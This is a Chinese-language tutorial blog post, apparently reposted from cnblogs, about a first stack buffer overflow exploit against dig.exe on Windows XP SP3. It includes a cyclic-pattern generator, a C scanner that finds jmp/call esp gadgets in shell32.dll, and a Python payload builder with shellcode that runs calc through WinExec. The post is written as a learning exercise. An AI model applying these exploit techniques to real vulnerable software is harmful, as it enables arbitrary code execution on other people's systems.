shellcode 初次使用笔记

  • winXP SP3 环境 (xp环境默认没开启栈不可执行机制,比较方便破解,如果已开启了,请自行百度如何关闭)
  • dig.exe 目标文件
  • x86dbg调试工具
  • python 环境

打开准备好的目标软件 dig.exe

image

映入眼帘的有两个输入框,可以直接从键盘获取输入

第一个输入框应该是输入域名的,TCP lookup按钮查询此域名的各种信息

猜想,这个输入框1 中输入的文本可能保存在栈区中的临时变量里,毕竟域名都不太长

  • 直接在输入框里输入1100个 'A' 然后点击 TCP lookup 看看有什么现象
  • 哈哈,软件崩溃退出了!!
  • 使用x86dbg 加载运行 dig.exe ,再输入1100个有序字符

      CH=65
      ch=97
      num_1=48
    
      buf=''
      n_C=0
      n_c=0
      n_1=0
    
      for i in range(1100//3):
          if n_1>9:
              n_c+=1
              n_1=0
              if n_c > 25:
                  n_C+=1
                  n_c=0
          buf += chr(CH+n_C)+chr(ch+n_c)+chr(num_1+n_1)
          n_1+=1
    
      print(buf)      
  • 把生成的字符串复制到输入框1 中,看看崩溃点在哪
    image

  • 这个eip是什么?肯定是我们输入的字符串的ASCII码

      int main()
      {
          char str[10] = { 0 };
          scanf_s("%x", (int)str);//输入eip的值
          puts(str);
      }

    哦,原来是'h2Bh'啊

  • 在python 生成的字符串中找到'h2Bh'的位置

      buf.find('h2Bh')

    997,输入997个字符后字符串将覆盖eip

  • 测试,运行计算器(当然你也可以是运行其他)
    1. 找到自己电脑中 WinExeC 函数的地址(方法自行百度)如果嫌麻烦,你可以自己写一个带有winexec函数的测试程序,用od看winexec函数的地址
    2. 找到程序中 jmp esp 或 call esp的指令

      可以使用OllyUni.dll 这个OD插件寻找,不过寻找过程太慢,在我的测试中竟然运行了足足5分钟......这种时长不能忍!!!!

       #include <windows.h>
       #include <stdio.h>
       #define DLL_NAME L"shell32.dll"
       int main()
       {
           HINSTANCE handle = LoadLibrary(DLL_NAME);
           if (!handle)
           {
               printf(" load dll erro !");
               exit(0);
           }
           int address;
           BYTE* ptr = (BYTE*)handle;
           FILE *fp = fopen("shell32.txt", "w+");
           fprintf(fp, "shell32.dll\t语句\t\t地址\t\t偏移\t\t基地址\n");
           for (int position = 0; position < 12*1024*1024; position++)
           {
               if (ptr[position] == 0xFF)
               {
                   if (ptr[position + 1] == 0xE4)
                   {
                       int address = (int)ptr + position;
                       fprintf(fp, "shell32.dll <jmp esp>\t%#x\t%#-8x\t%#x\n", address, position, ptr);
                   }
                   else if (ptr[position + 1] == 0xD4) //jmp esp
                   {
                       int address = (int)ptr + position;
                       fprintf(fp, "shell32.dll <call esp>\t%#x\t%#-8x\t%#x\n", address, position, ptr);
                   }
                   else{}
               }       
           }
      
           fclose(fp);
           return 0;
       }

      自己写个程序找shell32.dll中的指令

    3. 在eip后写程序,并且让他执行

       # -*- coding: UTF-8 -*- 
       #我的电脑中    7C86250D  kernel32.WinExec    
       import struct
       junk = "A" * 997    #偏移
      
       eip = '\x73\x15\xbf\x7d'    #shell32.dll <call esp> 0x7dbf1573
      
       nops = "\x90" * 10    #10字节NOP
       fill = "\x43" * 10  #无用指令,测试时主要用于让自己看清shellcode结束了
      
       #shellcode 要执行的代码
       shellcode = "\x31\xC9"                    # xor ecx,ecx
       shellcode += "\x51"                       # push ecx
       shellcode += "\x68\x63\x61\x6C\x63"        # push 0x636c6163
       shellcode += "\x54"                      # push dword ptr esp
       shellcode += "\xBB\x0D\x25\x86\x7C"        # mov ebx,7C86250D
       shellcode += "\xFF\xD3"                     # call ebx
       #payload
       payload = junk + eip + nops + shellcode+fill
       #将payload写入到文件payload.txt
       fp = open("payload.txt","w")
       fp.write(payload)
       fp.close()
       print "[+]Exploit successfully!"
  • 把生成的文件内容复制到 输入框1 中,是不是程序退出了,但计算器成功运行了?
  • 或许这一步你成功了,但我还没有,为什么呢????因为系统原因,winexec函数的地址在我们的电脑中的位置是不一样的
  •   #我的电脑中    7C86250D  kernel32.WinExec    

    看没看到这个 7C86250D 中的 0D ?这是不会被输入到输入框的,输入框里并不是什么字符都可以被输入的,怎么办呢?这可是我电脑中winexec的地址啊!!!!

image

请注意 技术性的时刻即将到来了...

  • 在x86dbg中直接输入 call 7C86250D 你会发现,咦?这机器码怎么与我输入的不一样呢?
  • 因为人家使用的是相对 winexec 函数的地址
  • 那么把自己的shellcode中也改成这样的地址不就好了!!

      #shellcode 要执行的代码
      shellcode = "\x31\xC9"                    # xor ecx,ecx
      shellcode += "\x51"                       # push ecx
      shellcode += "\x68\x63\x61\x6C\x63"        # push 0x636c6163
      shellcode += "\x54"                      # push dword ptr esp
      shellcode += "\xe8\xd8\x25\xb1\x7b"         #call winexec 这里啊,相对地址
      '''
      shellcode += "\xBB\x0D\x25\x86\x7C"        # mov ebx,7C86250D
      shellcode += "\xFF\xD3"                     # call ebx
      '''

    OMG,成功了!!image

你可能会遇到的问题

  1. 你可能自己找 jmp esp 时的地址无法写入到 eip 中,要么是少了两位,要么是多了两们,不要气馁,你找到的地址不止一个 而是好几百个,可能这个地址中刚好有输入框中不可输入的字符,换个地址试试,如果不行,就再换
  2. 或许你在一开始就遇到的问题,复制的与字符串大部分都与 shellcode中的不一样,别着急,你试试把生成的字符串文件用 notpad++ 打开,或者 UltarEdit 会更好一些
  3. 遇到百度无法解决的问题,你还有最后两种强大的依靠,就是你的智慧与坚持

我是新手,如果文中有错误,请批评或指正,谢谢

猜你喜欢

转载自www.cnblogs.com/jazm/p/10302281.html
今日推荐